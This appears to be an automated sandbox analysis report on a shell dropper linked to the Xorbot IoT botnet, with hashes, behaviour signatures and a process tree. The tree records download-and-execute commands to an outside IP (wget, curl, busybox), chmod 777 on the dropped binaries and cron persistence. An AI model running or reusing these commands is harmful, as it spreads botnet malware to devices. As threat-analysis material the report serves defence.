Analysis

  • max time kernel
    150s
  • max time network
    83s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/12/2024, 04:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5d0971a556970c74f4cd658bf101cfcd

  • SHA1

    4036ead2200bc75e663115eb6c13de4ef4358d7c

  • SHA256

    5600c839915dc7187cbc973ed14150314c61c0ba5573a7f94953d36eb77c6023

  • SHA512

    03b31e792454caa5dd8d9ec76839878907ca7e4e74b0e4fb698fbb81001fa8eb0033066ef8e69b1947206eebc4f08b24941d63e490118f15aa878d967c32ada0

  • SSDEEP

    96:2+qgBhG8gJdV+wRAJnh0nuncdV+wrRhqrh0nTmaW+qgBhwN8WJ:C8gJj+wRAZ6t+wV5Vi

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          ./Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Executes dropped EXE
          PID:687
        • /bin/rm
          rm Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:691
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • File and Directory Permissions Modification
            PID:697
          • /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            ./CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Executes dropped EXE
            PID:698
          • /bin/rm
            rm CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
              PID:700
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
              2⤵
              • Writes file to tmp directory
              PID:702
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:708
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
              2⤵
              • Writes file to tmp directory
              PID:718
            • /bin/chmod
              chmod 777 X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
              2⤵
              • File and Directory Permissions Modification
              PID:721
            • /tmp/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
              ./X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:723
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:725
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:726
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:728
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:729
                  • /bin/rm
                    rm X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
                    2⤵
                      PID:733
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                      2⤵
                        PID:736
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                        2⤵
                          PID:738
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                          2⤵
                          • Writes file to tmp directory
                          PID:740
                        • /bin/chmod
                          chmod 777 kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:745
                        • /tmp/kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                          ./kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                          2⤵
                          • Executes dropped EXE
                          PID:747
                        • /bin/rm
                          rm kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc
                          2⤵
                            PID:748
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                            2⤵
                              PID:749
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                              2⤵
                                PID:752
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                                2⤵
                                • Writes file to tmp directory
                                PID:755
                              • /bin/chmod
                                chmod 777 ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                                2⤵
                                • File and Directory Permissions Modification
                                PID:762
                              • /tmp/ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                                ./ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                                2⤵
                                • Executes dropped EXE
                                PID:764
                              • /bin/rm
                                rm ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw
                                2⤵
                                  PID:766
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                  2⤵
                                    PID:768
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                    2⤵
                                      PID:770
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:771
                                    • /bin/chmod
                                      chmod 777 U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:774
                                    • /tmp/U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                      ./U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                      2⤵
                                      • Executes dropped EXE
                                      PID:775
                                    • /bin/rm
                                      rm U56DjysFYIOaJlR9MqpqayqW371oEMSqn5
                                      2⤵
                                        PID:778
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/LGbvOrnskscf5oyFXyb2cmHulFxmLbWDdQ
                                        2⤵
                                          PID:779

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9

                                        Filesize

                                        122KB

                                        MD5

                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                        SHA1

                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                        SHA256

                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                        SHA512

                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                      • /tmp/U56DjysFYIOaJlR9MqpqayqW371oEMSqn5

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr

                                        Filesize

                                        141KB

                                        MD5

                                        3ca8decdb1e52c423c521bfff02ac200

                                        SHA1

                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                        SHA256

                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                        SHA512

                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                      • /tmp/ho9N8TNerGdALpbbGf8YV49H3UxTMEW8Kw

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/kMyHZfDnQ8O8adM3mduZmF02fkcbkhOeXc

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /var/spool/cron/crontabs/tmp.lBkV1b

                                        Filesize

                                        210B

                                        MD5

                                        a136bb108761044317f2798018132924

                                        SHA1

                                        d4fe4a7f3971488137fabe281d20c91665759335

                                        SHA256

                                        8b7bad7474d78e9d4fbe3f4195f24a923042928caaf8c7c36b922dc949e5d733

                                        SHA512

                                        c8d075e08ae99a7e0a3fa527a836c8cec4f976da95a0395303bd0333a450dbe26c0962b2128919fc018c12900ea3b37d397e50293719851dee4e22ac2065ccd7